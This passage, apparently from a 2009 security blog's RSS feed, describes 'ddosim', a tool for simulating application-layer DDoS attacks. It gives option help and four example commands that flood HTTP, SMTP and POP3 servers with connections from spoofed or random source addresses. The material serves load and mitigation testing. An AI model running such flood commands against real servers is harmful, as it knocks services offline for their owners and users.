<span style="color:#ff6600;">[-i IFNAME]      Output interface name</span><br />
<span style="color:#ff6600;">[-c COUNT]       Number of connections to establish</span><br />
<span style="color:#ff6600;">[-w DELAY]       Delay (in milliseconds) between SYN packets</span><br />
<span style="color:#ff6600;">[-r TYPE]             Request to send after TCP 3-way handshake. TYPE can be HTTP_VALID or HTTP_INVALID or SMTP_EHLO</span><br />
<span style="color:#ff6600;">[-t NRTHREADS]   Number of threads to use when sending packets (default 1)</span><br />
<span style="color:#ff6600;">[-n]                       Do not spoof source address (use local address)</span><br />
<span style="color:#ff6600;">[-v]                       Verbose mode (slower)</span><br />
<span style="color:#ff6600;">[-h]                       Print this help message</span></p>
<p><strong>Examples:</strong></p>
<p>1. Establish 10 TCP connections from random IP addresses to www server and send invalid HTTP requests (similar to a DC++ based attack):</p>
<p><strong>./ddosim   -d 192.168.1.2   -p 80   -c 10   -r HTTP_INVALID  -i eth0</strong></p>
<p>2. Establish infinite connections from source network 10.4.4.0 to SMTP server and send EHLO requests:</p>
<p><strong>./ddosim   -d 192.168.1.2   -p 25   -k 10.4.4.0   -c 0   -r SMTP_EHLO  -i eth0</strong></p>
<p>3. Establish infinite connections at higher speed to www server and make HTTP valid requests:</p>
<p><strong>./ddosim   -d 192.168.1.2   -p 80   -c 0   -w 0   -t 10   -r HTTP_VALID  -i eth0</strong></p>
<p>4. Establish infinite TCP connections (without sending a Layer 7 request)  from local address to a POP3 server:</p>
<p><strong>./ddosim   -d 192.168.1.2   -p 110   -c 0  -i eth0</strong></p>
<p><strong> </strong></p>
<p><strong>More background info:</strong></p>
<p>Some of the hardest to mitigate distributed denial of service attacks are the ones targeting the application layer (in TCP/IP stack). They are difficult to stop because they look legitimate to classic firewalls which let them pass freely (for an example look <a href="http://stormsecurity.wordpress.com/2008/08/11/dc-and-ddos-attacks/">here</a>). The only way to stop this kind of attacks is deep packet inspection (layer 7 inspection) which means a lot of money/resources.</p>
<p>In general, a DDoS attack is performed by an armie of bots (zombies) that simultaneously send attack packets to a victim server. If we talk about UDP packets (ex. targeting a DNS server), the attack is easier to implement because a zombie needs to send a single UDP packet (multiple times) to contribute to the attack. But in case of a TCP based attack, the zombie needs first to establish the full TCP 3-way handshake and then send the data packets (e.g. HTTP GET request). <em>ddosim</em> successfully simulates this attack scenario.</p>
<p style="text-align:left;">If you have any questions regarding <a title="Download ddosim" href="http://sourceforge.net/projects/ddosim/">ddosim</a>, please let me know.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/stormsecurity.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/stormsecurity.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/stormsecurity.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/stormsecurity.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/stormsecurity.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/stormsecurity.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/stormsecurity.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/stormsecurity.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/stormsecurity.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/stormsecurity.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/stormsecurity.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/stormsecurity.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/stormsecurity.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/stormsecurity.wordpress.com/142/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=142&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://stormsecurity.wordpress.com/2009/03/03/application-layer-ddos-simulator/feed/</wfw:commentRss>
		<slash:comments>45</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cbb75ebdf246fc83f062b083ba2cecb9?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96" medium="image">
			<media:title type="html">stormsecurity</media:title>
		</media:content>

		<media:content url="http://stormsecurity.files.wordpress.com/2009/03/ddosim_topology1.png" medium="image">
			<media:title type="html">ddosim_network_config</media:title>
		</media:content>
	</item>
	</channel>
</rss>
